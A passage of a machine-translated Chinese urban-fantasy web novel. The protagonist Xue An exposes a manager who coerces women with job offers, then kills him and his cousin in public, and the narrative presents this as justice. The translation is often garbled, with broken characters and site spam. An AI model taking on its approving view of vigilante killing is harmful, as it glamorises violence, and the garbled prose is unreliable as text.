    When he got out of the car, Xue An couldn''t help feeling a little surprised when he got out of the Tianyuan Gate.


    Because this is a skyscraper in a bustling downtown area.


    The two characters Tianyuan gleamed on the roof, and those who entered and exited here were all well-dressed men and women.


    When Xue An left Zhongdu, Tianyuan''s headquarters was still in the office building of the pharmaceutical factory.


    Unexpectedly, I hadn''t seen each other for more than a year and moved here.


    However, it is also full of pride, with the shadow of a world-class enterprise.


    Tian Bohan was also at the door at the moment because they were all at the front and back. When he saw the surprise on Xue An''s face, he couldn''t help but sneer.


    "How is it? Look silly! This skyscraper is the tallest building in the whole, and this is the headquarters of Young Master Tianyuan!"


    After that, he said to Yuan Mengying: "Go, follow me to see my cousin!"


    After speaking, he walked proudly into the Tianyuan headquarters.


    This hall is extremely spacious and luxurious, and the crowds coming and going make it very busy.


    Tian Bohan came to the front desk, and said to the front girl with delicate makeup: "Hello, may I ask if Manager Tian Bo Juntian is there?"


    The girl at the front desk looked up at him and smiled stylistically: "May I ask if you have anything to do with Manager Tian?"


    Tian Bohan said hurriedly: "I am Manager Tian''s cousin, and he asked me to come!"


    "Manager Tian is in a meeting, he left a message, if you come, let you wait here for a while!" There was a hint of sincerity in the smile of the front desk girl.


    After all, Tian Bojun is now regarded as a middle-level leader in Tianyuan. He has abundant resources under his hand, and he is also a classmate of Chairman Qiao, which makes many people awed.


    When Tian Bohan listened, he couldn''t help being more proud, and deliberately looked at Xue An and others not far away.


    Xue An just smiled, ignoring this person''s boring show off.


    There is a special meeting area in the lobby.


    Tian Bohan sat on the soft and comfortable sofa and stretched comfortably.


    Then the girl at the front desk actually brought a plate of cut fruit in person.


    "Mr. Tian, ??please use it slowly!" The girl said with a smile.


    "Thank you!" Tian Bohan was proud of his face.


    Even Yuan Mengying''s expression changed slightly.


    It seems that Tian Bohan really didn''t lie.


    His cousin should have real power in this fate, otherwise these people would not be so respected.


    Ten minutes later, Tian Bohan''s cell phone rang, and he quickly connected it.


    "Hey, cousin, yes, I''ve arrived, and I''m in the hall! What? Come here? Okay!"


    After hanging up the phone, Tian Bohan smiled and said: "Did you see, my cousin will come to meet me in person!"


    Soon, I saw a man wearing a high-end custom suit and an arrogant expression walking out of the elevator.


    Wherever he passed, many employees of Tianyuan Company stood aside.


    "Manager Tian!"


    "Manager Tian, ??you are here!"


    The voices of greeting one after another.


    Tian Bojun nodded proudly.


    The girl at the front desk shined even more and said, "Manager Tian, ??your cousin is waiting in the reception area, please come with me!"


    After speaking, he led to the reception area.


    After seeing his cousin, Tian Bohan stood up very excited.


    "Cousin!"


    Tian Bojun nodded, but his eyes fell on Yuan Mengying behind Tian Bohan, and his eyes lit up.


    "Is this the person you are talking about?"


    Tian Bohan nodded and said to Yuan Mengying: "I haven''t seen my cousin yet!"


    Yuan Mengying stepped forward and whispered: "Manager Tian!"


    Tian Bojun glanced greedily, then nodded, "Bohan, this time the goods are not bad!"


    Hearing his words, Tian Bohan smiled happily.


    Then Tian Bojun ignored the gaze of others and put his hand on Yuan Mengying''s shoulder.


    "Bohan told you all the conditions!"


    Yuan Mengying trembled all over, "Say...say it!"


    "Very well, Bohan will take her to take a shower, and then send it to my office!"


    "Yes!"


    Yuan Mengying suddenly raised her head, looked at Tian Bohan and said, "You...you didn''t mean just..."


    Yuan Mengying wants to say that he is the only one with you? But she couldn''t say it.


    Tian Bohan smiled, "Miss Yuan, my cousin sees you as your blessing, so just obediently behave!"


    Tian Bojun smiled proudly, "Bohan is right. I think you are your blessing. Isn''t it the fate of heaven? I can make you a little supervisor with just one sentence, and you will be delicious and spicy. Of course, The premise is that you have to take care of me!"


    When it came to the word "Serve", Tian Bojun smiled with evil spirits.


    "By the way, she shouldn''t open the package! I hate second-hand goods the most!" Tian Bojun asked.


    Tian Bohan hurriedly said: "It should not be wrong, she said it herself!"


    The two cousins ??have fully interpreted the word shameless.


    Yuan Mengying was pale and trembling all over.


    This seems to have regarded himself as a piece of cargo.


    But thinking of Tianyuan potion, thinking of her mother''s illness, she could only resist crying.


    At this moment, someone heard a light sigh.


    "Could this huge Tianyuan company have become your private industry? Whoever you let can enter?"


    "Who is talking nonsense?" Tian Bojun was furious and turned to look.


    I saw Xue An drinking tea slowly and looking at herself with a smile.


    "Who are you? What did you just mean?" Tian Bojun''s eyes flickered.


    Tian Bohan hurriedly stepped forward, "Cousin, this guy came by train with us, and he also said that he knew someone from Tianyuan Company, but I asked him his name, what did he say about Lao Zhao? "


    Tian Bojun sneered when he heard the words, "What did you just say? Yes, this day fate, whoever I want to enter can enter!"


    "What a mighty prestige! Who gave you the confidence to make you talk like this?" Xue An shook his head with a light smile, and then said lightly.


    "Chairman Joe, his old man is my high school classmate He is the veteran who founded the company, how about? Is this confidence enough?" Tian Bojun said proudly.


    Xue An laughed dumbly and sighed softly: "This fellow Qiao Le doesn''t know how to control his subordinates?"


    Tian Bojun sneered: "What a big tone, I dare to call our chairman''s name directly! Boy, dare to talk nonsense, be careful you can''t even get out of this gate!"


    Xue An''s eyes were getting colder, and she said to the **** the front desk: "Notify your board of directors and let them all come to see me now!"


    Hearing these words, Tian Bojun and Tian Bohan looked at each other and then laughed.


    "Boy, are you crazy? And let our chairman all come to see you, who do you think you are?"


    Xue An ignored their clamor, and just rushed to the receptionist and said: "Now go to inform and say I''m back!"


    The girl at the front desk didn''t dare to go, Tian Bojun sneered: "Go and inform, I want to see how this guy is looking for death!"

 Chapter 493： Patience

    After the girl at the front desk left, Tian Bojun sat on the sofa carelessly, raised his legs, and waited proudly.


    In his opinion, Xue An must be playing mystery.


    He kept telling everyone on the board to come over to see him, who did he think he was?


    Thinking of this, Tian Bojun sneered slightly, and said in his heart that I will see how you end up.


    At this time, a lot of people had gathered not far away, and people were whispering about this matter.


    "What''s the matter? Tian Papi started to clean up people again?" Someone sneered.


    "Shhh, keep your voice down. If you are heard by Tian Bojun, you still have to be kicked out! I heard that someone is bashing this Tian Bojun face-to-face! Now things are getting loud!"


    "It''s really courageous. It''s a pity that Tian Bojun has Chairman Qiao as the backstage. Who dares to mess with?" Someone sighed.


    These are people who are very dissatisfied with what Tian Bojun did.


    At the same time, there are many Tian Bojun minions discussing.


    "Hehe, I heard others say that this man threatened to let all the chairman of the board come to see him in person!"


    "Really? Who is this man? Such a big tone?"


    "I guess it''s a rich second-generation who has never seen the world! You dare to make trouble in Tianyuan Company, wait for a good show!"


    "Hehe, dare to mess with Manager Tian, ??I really don''t know how to write dead words!"


    These comments came to Tian Bojun''s ears, making him more arrogant, and he couldn''t help but glance at Xue An next to him.


    Seeing Xue An leaning on the sofa, drinking tea in his spare time, it seemed not at all anxious.


    This guy is really calm! Tian Bojun thought bitterly.


    Time passed by every minute and every second.


    As time went by, the color of disdain and sarcasm on Tian Bojun''s face grew stronger.


    The crowd watching the excitement also gathered more and more, and people were talking quietly, but almost no one was optimistic about this matter.


    Because this incident sounds like a fantasy.


    You must know that Tianyuan is now a large international company, and it produces extremely important Tianyuan potions, which is of great strategic significance, so Tianyuan''s position is also very detached.


    Even if the heads of countries come, it is impossible to alarm all the directors.


    The man must be beaten in the face. Many people thought.


    At the same time, in an office on the top floor.


    Qiao Le was busy, the secretary opened the door and walked in.


    "Director Joe, this is the document you need to review and sign today!" The secretary put a large stack of documents on the table.


    Qiao Le sighed, "What''s this?"


    The secretary smiled slightly, "This is only a small part, there will be more in the afternoon!"


    Qiao Le collapsed on the chair, his face full of love.


    Seeing his appearance, the secretary couldn''t help but chuckled.


    Although you are the director of Tianyuan and his wealth is on the rich list, Qiao Le in private is more like a big boy.


    Qiao Le sighed a few times, and then continued to get busy.


    The little secretary helped to clean up the room.


    In fact, this kind of thing is responsible for special cleaning.


    But the little secretary is still willing to do it himself.


    Because this allows you to get in touch with this director Joe more.


    You must know that now the outside world has called Qiao Le, Zhao Xuehui and Yang Binyi, the three brothers of the diamond class.


    Countless women are thinking of being able to approach these three directors, so that they can reach the sky in one step.


    This little secretary is no exception.


    While the little secretary was slowly wiping the table, the phone on the table rang.


    The little secretary took it.


    "This is Director Joe''s office, what''s the matter?"


    After hearing a few sentences, the little secretary frowned, "Does this kind of matter still need to be reported? Every day, countless people find various excuses to approach several directors.


    After speaking, the little secretary hung up the phone.


    Qiao Le, who was immersed in work, asked without raising his head: "What''s the matter?"


    "Director Qiao, the front desk just called and said that someone threatened to let all the directors go to the lobby to see him!"


    "Huh?" Qiao Le raised his head blankly.


    The little secretary continued to babble: "And what else did I say I''m back! I guess he''s a lunatic, I have asked the front desk to send someone to blast him away!"


    As soon as the voice fell, there was a loud noise.


    The little secretary trembled with fright, turned his head to look, and saw Qiao Le standing up with an iron face.


    Because of the heavy lifting, all the notebooks on the table were turned over.


    "what did you say?"


    The little secretary trembled with fright.


    "I said... Someone threatened to let all the directors meet him, and what else did I say I''m back! You..."


    Before he could say anything, Qiao Le jumped directly onto the table and rushed out of the office in two steps.


    The little secretary stood there with a dazed expression, completely unaware of what had just happened.


    After Qiao Le rushed out of the office, he ran all the way to the meeting room, kicking the door open.


    Inside were Zhao Xuehui, Yang Binyi, Shuliu Gao Shengnan and others at the meeting.


    Qiao Le''s kick stunned these people.


    Zhao Xuehui frowned slightly, "Lao San, what''s the matter? What are you doing in such a hurry?"


    "Yes... the second brother... the second brother is back!" Qiao Le shouted out of breath.


    Zhao Xuehui was taken aback, Huo Ran stood up, "Are you talking about Xiaoan?"


    Qiao Le nodded, "He is in the lobby, listening to the front desk, he asked all of our directors to see him now!"


    Upon hearing this, everyone in the room stood up.


    Zhao Xuehui looked solemn, "The second child didn''t call when he came back this time, and he asked the front desk to inform us that there must be something, hurry up!"


    Speaking of taking the lead, he rushed out.


    Qiao Le and Yang Bin followed closely behind.


    Gao Shengnan and Shu Liu looked at each other and hurriedly followed.


    Both of them understand now.


    What makes the three brothers so nervous, he must be back!


    The collective rush of these people made all the employees who saw this scene dumbfounded.


    Why are all the directors running wildly with solemn expression?


    Did something happen?


    Before rushing to the elevator, Zhao Xuehui already shouted: "Quickly, open the elevator for me!"


    This office building has a VIP elevator, which is exclusively for directors to enter and exit, and there is a dedicated person in charge.


    When Zhao Xuehui shouted so, someone immediately opened the elevator.


    After several people rushed in, they immediately pressed the first floor button.


    Just as the elevator descended rapidly.


    Tian Bojun in the hall stood up impatiently and said with a sneer: "Ten minutes have passed. You asked all directors to come to see you, but no one was seen! Now you still have What do you want to say?"


    Xue An smiled slightly, "Listen to your tone, you seem to have taken me down!"


    Tian Bojun sneered arrogantly on his face and said, "Yes, it''s done, what can you do? Security, grab this guy for me!"


    The security guards had already been waiting by the side for a long time, and when they heard this, they rushed to prepare to do something.


    Xue An''s eyes were getting colder, and his patience had been worn out.


    At this moment, there were bursts of exclamation in the distance.


    "Gosh, it''s Director Joe and Director Zhao!"


    "All the directors are here!"


    When Tian Bojun heard the words, he turned his head and looked around, and saw that the crowd had separated a road. Qiao Le, Zhao Xuehui and others rushed over in sweat.

 Chapter 494： Do you think this will spare you?

    Tian Bojun had a faint premonition in his heart, but he still greeted him with a flattering smile.


    "Mr Qiao, how are you..."


    I didn''t finish the rest.


    Because Qiao Le, who used to be very amiable to him, didn''t even look at him at this moment, and walked past him.


    The smile on Tian Bojun''s face slowly solidified.


    Everyone looked at Qiao Le and others. People didn''t know what the directors of Tianyuan Company planned to do, and no one dared to speak. The hall gradually became quiet.


    I saw Qiao Le and others came straight to Xue An, except for the boss Zhao Xuehui, the others bowed their heads.


    "Second brother!"


    "Mr. Xue!"


    The sound was not too loud, but it seemed like a bolt from the blue, which dazzled everyone in the entire hall.


    As for Tian Bojun, he watched this scene even more stunned, his mouth wide enough to fit three duck eggs.


    Xue An''s eyebrows drooped, took a sip of tea slowly, and then sighed softly.


    "To be honest, I am disappointed."


    All five Zhao Xuehui were shocked.


    Xue An said calmly: "I used to be a brother in the same dormitory. I said that I would give you a splash of wealth! That''s why I have this natural fate. But I didn''t expect that wealth is not achieved, but squeamishness is already born!"


    Xue An''s words made the three of Brother Zhao Xuehui look at each other, their faces gradually becoming pale.


    "Second brother, what do you mean by this? Did we do something wrong?" Zhao Xuehui said with a wry smile.


    Xue An raised his eyes, "Qiao Le!"


    "Second brother!" Qiao Le took a step forward.


    "Do you know this person?" Xue An raised his finger to Tian Bojun, who was sweating profusely.


    Qiao Le was taken aback, and then nodded, "I recognize this is my high school classmate Tian Bojun, a master of business management, and then I let him be the head of the personnel department, what''s the matter?"


    A cold smile appeared at the corner of Xue An''s mouth, "I think you should ask your classmate about this matter."


    Qiao Le is not a fool. Hearing Xue An''s tone, he knew that something was wrong, his complexion instantly turned pale, and he turned around and stared at Tian Bojun.


    "Tian Bojun, what have you done?"


    Tian Bojun was already shivering into a ball at this moment. How arrogant he was just now, how scared he is now.


    He never expected that what the man just said was true.


    Looking at the sincere and fearful appearances of several big directors, the status of this man is unimaginable.


    Therefore, in Tian Bojun''s heart at this moment, fear, regret, and despair are all mixed together.


    Especially after hearing Qiao Le''s questioning, he couldn''t help being more scared and stammered.


    "Joe... President Joe, I... I..."


    I spent a long time, and he didn''t say anything about it.


    Qiao Le''s face became harder to look.


    He had also heard the following rumors, saying that this Tian Bojun was domineering and bullying.


    He also asked several times, but Tian Bojun patted his chest and said that he had never done that.


    Out of trust in his classmates, pure Qiao Le actually believed it.


    But looking at the current appearance, even a fool could see that something was wrong.


    "The surname Tian, ??what do you want to say to you, what have you done? Why did you make my second brother so angry?" Qiao Le asked with gritted teeth, his appearance was almost cannibalistic.


    Tian Bojun thumped and knelt on the ground, "Mr. Qiao, I am not a human being. I don''t know Taishan, but I really don''t know that this gentleman is your second brother! Please give me a chance!"


    As he said, Tian Bojun banged his head straight.


    Although Qiao Le was very angry, seeing his classmate apologize like this, he couldn''t help but hesitate a little, and turned to look at Xue An.


    "Second brother..."


    Xue An waved his hand and motioned him not to speak.


    Then put down the tea cup, waved his hand, and covered the two daughters with a secret method, and walked over slowly.


    Qiao Le and others stepped aside, Xue An went straight to Tian Bojun who was kneeling on the ground, looked at him condescendingly for a moment, and said lightly: "Do you think that a few heads can solve the problem?"


    Tian Bojun trembled, his teeth creaked, and he couldn''t even speak.


    Xue An raised his head to look at Tian Bohan, who was standing behind Tian Bojun with a gray face, and smiled, "Your cousin seems to be very scared and can''t even speak."


    Tian Bohan shivered and smiled forcibly, "First... Mr. said that."


    "Since he can''t say it, let it be yours. What have you all done? Say it in the original, understand?" Xue An said indifferently.


    "First..." Tian Bohan hesitated a little.


    A ray of sword light swept past, directly cutting off one of his ears, and blood flowed out instantly, dripping down his chin.


    Tian Bohan screamed.


    "If you dare to hesitate, then some part of your body will say goodbye to you! Understand?"


    Xue An''s hand shocked everyone.


    Many people looked pale, some were timid, and their legs trembled with fright.


    Tian Bohan was completely desperate, seeing Xue An''s eyes full of horror.


    Then, like pouring beans in a bamboo tube, he told me all the bad things I had done with my cousin over the past year.


    Needless to say, there is no need to talk about using Tianyuan as a bait to play with women.


    Worse still, this Tian Bojun secretly reselled Tianyuan potion with the convenience of his position.


    He even accepted bribes from foreign intelligence personnel to try to steal the formula of Tianyuan Potion, only because Tianyuan Company''s security measures were so strict that he had no chance to succeed.


    All these evil things made Tian Bojun''s complexion increasingly pale.


    After I finished speaking, I looked at Tian Bojun again, and his face was slumped to the ground.


    And Qiao Le shivered when he heard it, and now he finally couldn''t bear it, and rushed up furiously.


    One kick hit Tian Bojun''s face, and instantly kicked his nose bone.


    "You bastard, you begged me and let me take you in! I thought you were pitiful, so I made you an employee of Tianyuan. I didn''t expect you to be such a wolf and ambitious guy. I want to kill you!"


    Qiao Le''s eyes were red, and he looked around and found an ashtray on the coffee table next to it It was just a smash when I copied it.


    Tian Bojun screamed more and more, "Mr. Qiao, I was wrong, please let me go, I will leave now and never come again, please let me go!"


    Snapped.


    The ashtray made of FRP was forcibly smashed and cracked, and Qiao Le threw it aside, panting and watching.


    At this moment, Tian Bojun, with blood all over his face, looked terrible.


    Then Qiao Le looked at Xue An, hesitated, and said softly: "Second brother..."


    He is a person who loves feelings very much. Tian Bojun is his high school classmate, so even though he speaks cruelly, he still can''t make the move.


    He also hoped that Xue An could let him go.


    Of course Xue An understood what Qiao Le meant, but he just smiled faintly, and then knelt down and looked at Tian Bojun with his blood on his face.


    "Do you think that you can be spared like this?"

 Chapter 495： The heart has the Tigers, fine sniffing the rose

    Tian Bojun looked at Xue An with extremely horrified eyes.


    He could not see the slightest anger in Xue An''s expression, only the supreme majesty.


    This feeling is as if a superior emperor is trying to judge himself.


    "You...what else do you want? A big deal, I will return the money to the company!" Tian Bojun trembled.


    "Let me guess, you should have a phone in the dialing state in your arms, do you plan to give these recordings to someone after you leave here?" Xue An said lightly.


    Tian Bojun was shocked, looking at Xue An in disbelief, "You..."


    "How did I know? I don''t just know this, but I also know what you think. Are you planning to use these recordings as evidence to find ways to make Tianyuan or Qiao Le who brought you in?"


    Hearing Xue An''s words, Qiao Le was startled, and then a murderous look appeared on his face, and he roared angrily: "Tian Bojun, you really are an unfamiliar white-eyed wolf!"


    Tian Bojun had completely spared it at this time, and laughed wildly when he heard the words.


    "So what? Tell you, I have secretly dialed the phone since just now, and everything you say and do has been passed on!"


    "And I don''t believe it, you really dare to kill me in front of so many people! The dignified boss Tianyuan killed people in public. If this news spreads to the world, I don''t know what kind of sensation it will cause! Hahaha... "


    The laughter stopped abruptly.


    Tian Bojun tightly covered his neck with his hands. Even so, he still couldn''t resist the blood pouring from between his fingers.


    He looked at Xue An in disbelief, and he didn''t seem to expect that Xue An actually dared to kill him.


    Xue An just said indifferently: "Noisy!"


    There was a **** ho sound in Tian Bojun''s throat, which was the sound of residual air in the lungs rushing out of the severed trachea.


    This sound echoed in the silent hall, causing many people with ghosts to tremble.


    Xue An took out the mobile phone with the screen on from his arms, and whispered in his ear: "No matter who you are, if you dare to fight against Heaven, I don''t mind sending you to hell."


    After speaking, Xue An hung up the phone directly, and Xiaotian Bojun smiled slightly.


    "You have a good idea, but you have overlooked one point. In the face of absolute strength, what other people think of it is totally worthless."


    Hearing these words, Tian Bojun''s eyes showed a look of despair.


    If he had a choice, he would definitely not go against this man.


    But regret it is too late.


    He kicked his hands and feet unconsciously, the expression in his eyes gradually dimmed, and he died.


    No one dared to speak.


    There was dead silence in the hall.


    The smell of urine permeated.


    It was Tian Bohan who was scared to pee by the scene just now.


    Xue An raised his eyes to look at him, smiled slightly, and said nothing.


    Tian Bohan had already knocked his head like smashed garlic, and cried with his nose and tears: "Mr. Forgive me, these things are done by this Tian Bojun. I''m just a strike, please let me go!"


    "It stands to reason that I should let you go!" Xue An said lightly.


    Tian Bohan breathed a sigh of relief. At this moment, he only felt a chill in his neck, and then his whole body became lighter, and his head grunted out a long way.


    The last picture rolled to Xue An''s feet, saw a smile on Xue An''s face, and then fell into permanent darkness.


    "But the person who helped him to be an abuser is often more hateful than the culprit, because he always cries when an incident occurs and complains that he is being coerced, but before the incident, he will always be the most flattering one, and he is proud of it." Xue An faint voice echoed throughout the hall.


    Many people shuddered and lowered their heads.


    Only Yuan Mengying trembled, and Tian Bohan proudly boasted of how great his cousin was.


    What this mysterious and powerful man said...very right!


    At this time, Xue An glanced at Zhao Xuehui and others with different expressions, and said lightly: "Follow me back to the office!"


    After that, he led the family away first.


    Zhao Xuehui and the others looked at each other, a wry smile appeared on their faces, and then left the hall after that.


    The body and blood were quickly cleaned up.


    Except for the trace of Ruoyouruowu''s **** aura, most people would never think that two people had just died here.


    The crowd onlookers in the hall gradually recovered from the shock at this time.


    "Fuck, it''s really a cow*, killing two people in a row, this Tian Bojun has been retributed!"


    "Who is this man? He is so powerful and domineering? I see several directors who dare not breathe in front of him."


    At this time, some old employees who had joined Tianyuan from the very beginning said with awe.


    "Of course, several directors dare not disrespect this person, because the whole Tianyuan said it was actually created by others! Just because they have a good relationship with several directors, let them be responsible for management."


    hiss.


    Hearing these words, everyone gasped.


    A few more knowledgeable people gradually showed great awe on their faces.


    "This person is..."


    Several old employees nodded.


    "That''s right! It''s the Mr. Xue who was shocked by a wedding!"


    For these ordinary people, Xue An''s destruction of the Bright Church and other shocking deeds were beyond their reach.


    But these people still remember the wedding of the century that once caused a sensation in most of China.


    After a long silence.


    "Hehe, dare to offend this Mr. Xue, this Tian Bojun is really deadly!" Someone sneered.


    At the same time, in the office on the top floor.


    Xue An was sitting behind the large desk, tapping the desk slowly with his fingers, his face was indifferent.


    Zhao Xuehui hesitated several times, but finally he could only sigh lightly.


    Gao Shengnan, Shu Liu and others were also afraid to speak.


    After a while, Qiao Le, who had been bowing his head, took the first two steps and said with a shame: "Second brother, this incident is all my fault. If it weren''t because I didn''t see Tian Bojun''s wolf ambition, it would not Provoked so much later! I am willing to bear the punishment! Or you can fire me."


    Xue looked at Qiao Le quietly, and then faintly said after a while: "The third child, do you know what you are doing wrong?"


    "It''s not that you don''t know people, it''s your toleration and rape."


    "Everyone has the time to go wrong, but the key is to see if there is the courage to break the arm of a strong man after discovering a mistake This Tian Bojun deserves to be killed, so he should not be treated with kindness. "


    "Because in this world, cherishing kindness to bad people is actually cruel to good people."


    "Do you understand all of these?"


    Every time Xue An said something, Qiao Le shook his whole body.


    In the back, his face was pale as paper, and his head was covered with cold sweat.


    "Second brother, I understand!"


    Xue An smiled slightly, "The so-called shopping mall is like a battlefield. If you want to survive and survive better than others, you can only have a tiger in your heart and sniff the rose."


    Sudden expressions gradually appeared on everyone''s faces, including Zhao Xuehui.


    For them, this is a painful transformation.


    But only through metamorphosis can we break through the cocoon and become a butterfly.

 Chapter 496： Do not listen or not, Wang 8 chants!

    The Heavenly Fate Potion, which exudes lavender light, is packed in a crystal clear crystal bottle and has a suffocating beauty.


    Looking at the bottle of Heavenly Fate Potion, Yuan Mengying''s breathing gradually became faster.


    "Mr����."


    Xue An shook her head and signaled her not to say, "This is your entry gift. Take it back and save your mother first!"


    Yuan Mengying''s eyes reddened, and tears fell down.


    Xue An has helped her more than once since she was on the train.


    It can be said that without Xue An, she may have fallen into the darkness forever, and there will be no chance of turning over again.


    "Mr. Great kindness, Mengying will never forget. After my mother''s disease is cured, I will return to work!" Yuan Mengying wiped away her tears and said solemnly.


    Xue An smiled slightly and waved, "Go ahead."


    Yuan Mengying turned and left.


    After she left, An Yan walked out of the office, bent down gently, and hugged Xue An from behind.


    "My husband, you are so kind."


    "Huh?" Xue An leaned on the boss chair, turned his face to the side and smiled at An Yan, "Where is it?"


    "Everything is good, especially my husband has a kind heart!" An Yan said with a grin.


    Xue An took a deep breath of the smell of An Yan''s hair, and then said lightly: "I just saw our original shadow from her."


    Hearing these words, An Yan''s eyes flashed with sentimentality.


    Xue An is right.


    At the beginning, why wasn��t the situation facing Xue An and myself like this?


    There is a bottomless dark abyss in front, but there is no way to go back.


    That kind of despair is enough to make people collapse.


    An Yan couldn''t help but rubbed Xue An''s cheek with her side face.


    "My husband, it''s not sad anymore! It''s all over!"


    Xue An laughed dumbly, he just felt a little bit.


    And more I feel sorry for An Yan.


    Because he wondered if Anyan was so isolated and helpless when she gave birth to a child alone in the hospital.


    I didn''t expect An Yan to comfort herself in turn.


    What a silly girl.


    Thinking of this, Xue An suddenly smiled badly, swept An Yan, and then kissed deeply.


    An Yan''s eyes turned round in an instant, and she looked at Xue An blankly, as if she didn''t expect him to make a surprise attack.


    After a while, An Yan''s eyes gradually moistened, and her eyes were filled with infinite softness.


    Xue An''s heartbeat could not stop beating for a while.


    Because of the Anyan at this time, it is so beautiful.


    Just when the temperature of the whole room was rising because of the ambiguity.


    I wanted to open the inner door and walked out, "Dad, Nian Nian has eaten my ice cream again."


    The two people who were lingering suddenly separated, An Yan''s face turned red and exploded.


    Xue An looked as usual, smiled slightly and said, "Why did you steal it?"


    Think about looking suspiciously at the red-faced mother, and then at the dad with a lovely smile, but always a little unnatural.


    "Mom, why is your face so red?"


    An Yan was taken aback, and then stammered: "Because... Ah, it''s too hot in this room, cough cough, huh!"


    Xue An nodded solemnly, "Yes, the warm air in this room is too strong, it''s a waste."


    "Is it hot?" Thinking about it, I''m still a little confused.


    Niannian poked her head out and said aggrieved: "Sister, your ice cream just fell into my mouth. I wanted to take it out, but I ate it accidentally."


    When ���� said this, the corners of Nian-nian''s mouth still wore very obvious cream.


    I was silent for a few seconds before shouting, "Xue Niannian, you are dead today!"


    said as if it was a cat with blown up fur, and he rushed over.


    Nian Nian was so scared that she turned around and ran, yelling, "Sister, listen to me!"


    "If you don''t listen, don''t listen, the eighth chanting! Return my ice cream!"


    So think about starting to chase behind, Nian-nian flees in front.


    These two little girls played hide and seek around the office.


    Xue An looked at this scene, a smile appeared on the corner of his mouth.


    No matter what happened, as long as I saw my two daughters, my heart would suddenly calm down.


    "Sister, what I said is true, it is indeed the first hand of the ice cream!" Nian Nian ran panting.


    Thinking about it, he threw himself up bitterly, and grabbed Nian Nian''s braid.


    "Hmph, let me see where you go now!" I thought about it and said proudly.


    Nian Nian''s big eyes gradually burst into tears, and she grievedly said to Xue An: "Dad... Sister bullied me again!"


    Think about holding Niannian''s braid with one hand, with one hand on his hips, with a stern face, and said very solemnly.


    "Dad, this is none of your business. This is a personal grievance between our sisters. Outsiders must not interfere."


    Seeing thinking like a little adult, Xue An couldn''t help but smile at the helplessness of Nian Ai.


    "Say, will you steal it in the future?" Think about it.


    "Don''t steal it!" Nian Nian said grievously.


    "I don''t believe it, you have to establish a document!" I thought about it, and came up with an idea.


    "But I can''t write!"


    "It''s okay, neither will I!"


    "What should I do?"


    "Draw a circle!"


    Soon, many circles and squares of different sizes were drawn on a piece of white paper.


    "What is this?" Xue An asked, blinking.


    "Guarantee!" Xue Xiang picked up the blank paper and cleared his throat and said, "Xue Niannian promises that she will never steal the ice cream of her sister (Xue Xiangxiang) in the future. If there is a violation, she will not eat ice cream for a month. ! At the same time, in order to punish her for stealing food half of the ice cream in the next month will be given to her sister.


    After reading, Xue Xiang raised his face, and said to Xue Nian: "Sign it!"


    Xue Nian''s little face was completely blank.


    It took a long time to understand gradually, and his face was aggrieved.


    "Sister, I promise not to steal the food in the future, can you not split it in half!"


    "No way!"


    "How about dividing it into half?"


    "No!"


    "Woo, my sister bullied me!"


    "You stole my ice cream, I haven''t cried yet, you crying!"


    "Sister is the crying ghost!"


    "Do you want to be pulled by me again?"


    "����."


    In the end, the agreement was signed in an atmosphere of friendly negotiation between the two parties.


    Nian Nian pressed her little handprint on the white paper with a bitter face.


    I want to put it away with satisfaction.


    Xue An and An Yan looked at each other, and then both laughed.


    Although they are twin sisters, I think they have completely different personalities from Nian Nian.


    Think about his character more and more resembling Xue An, domineering and strong.


    Niannian follows Anyan, gentle and cute. New 81 Chinese network update the fastest computer terminal: https://


    But this is also good, there must be a strong one between the sisters, otherwise they will be easily bullied.

 Chapter 497： The smile fades away

    At this moment, the door of the office was kicked open, and An Qing rushed in excitedly.


    "Auntie!" When the two little girls saw An Qing, they all shouted in surprise.


    An Qing picked up the two little girls, took a chirp first, and then asked with a smile.


    "Do you two miss auntie?"


    "Hmm, think!" the two little girls said in unison.


    An Qing put down the two little girls and opened the bag, which was full of snacks.


    The two little girls cheered and rushed up.


    "This is yours, this is mine! This is mine, this is yours..." Think about starting to divide snacks very seriously.


    Nian Nian stared at Yuanyuan''s eyes and looked at her seriously.


    An Qing couldn''t help shaking her head and chuckles when she saw this scene.


    "You, I bought them so many snacks, and I slowly spoiled it!" An Yan said helplessly.


    An Qing chuckled, "If you are spoiled, spoil it! My niece of An Qing, shouldn''t I spoil him more? Huh..."


    An Qing said softly, "Sister, why is your face so red?"


    An Yan''s face is very thin, and the flush just now hasn''t faded.


    "Uh...it''s very hot in the room! Didn''t you notice it?" An Yan hurriedly found an excuse.


    "Is it hot? Why didn''t I feel it?" An Qing looked suspicious and turned to look at Xue An.


    Since inheriting the talents of the Zerg, her vision can be called a humanoid self-propelled telescope.


    So she saw the thrilling blush of Xue An''s mouth at a glance.


    This red... looks the same as my sister''s lip color.


    An Qing suddenly realized that her smile gradually collapsed.


    "Understood, it seems that I''m not here by coincidence."


    "Sick Nizi, what nonsense, be careful I tore your mouth!"


    An Yan couldn''t laugh or cry, stepped forward to pinch An Qing''s face, and then dragged her into the inner room.


    Xue An also felt a little embarrassed.


    After all, that''s my sister-in-law.


    Therefore, he hurriedly urged his cultivation base to go through the whole body, and the flaws were seen again by others.


    At this time, Chen Xiu and smiled and walked in from outside the door.


    "Mr. Xue! I heard that you have returned to Zhongdu, so I hurried over!"


    Xue An smiled slightly, leaned forward and left his seat, "Uncle Chen, please sit down!"


    The name Xue An made Chen Xiuhe startled slightly, and his smile gradually became brighter.


    When Xue An and An Yan were married, Xue An invited Chen Xiuhe to attend as An Yan mother''s parents. Since then, Xue An has changed his name to Uncle Chen.


    However, Chen Xiuhe didn''t expect that after more than a year, Xue An hadn''t forgotten this title.


    "Mr. You are polite. When I just came, I heard Shengnan, the daughter of genius doctor Gao, tell me about your return. Mister is really a man of the world, so he has a fierce tiger with his heart and sniffs the rose. If your husband is in business, it is estimated that he will be a huge businessman from all over the world." Chen Xiuhe sighed.


    What he said was from the sincerity.


    Because when he heard Gao Shengnan talk about these things, his whole body was erected.


    It''s different from Gao Shengnan''s awe.


    What Chen Xiuhe saw was longer than others.


    It is undeniable that Tianyuan has developed extremely rapidly in the past two years.


    But this also left many hidden dangers for the company.


    The most serious of these is the youth and passion of several directors.


    Hot blood is not a bad thing, but if you are still hot at a high position, it will be a big mess.


    This Tian Bojun is a **** example.


    He upset the entire bottom of Tianyuan, but Ke Qiaole and others didn''t know it.


    It can be seen that they have been completely blinded by Tian Bojun.


    If this takes time, the consequences are simply unimaginable.


    A company is like a country. If the boss can''t accurately understand the situation at the bottom, it is not far from going wrong.


    Chen Xiuhe is actually clear about these situations.


    However, because of the special relationship between Qiao Le and others and Xue An, he could not interfere too much and could only let him go.


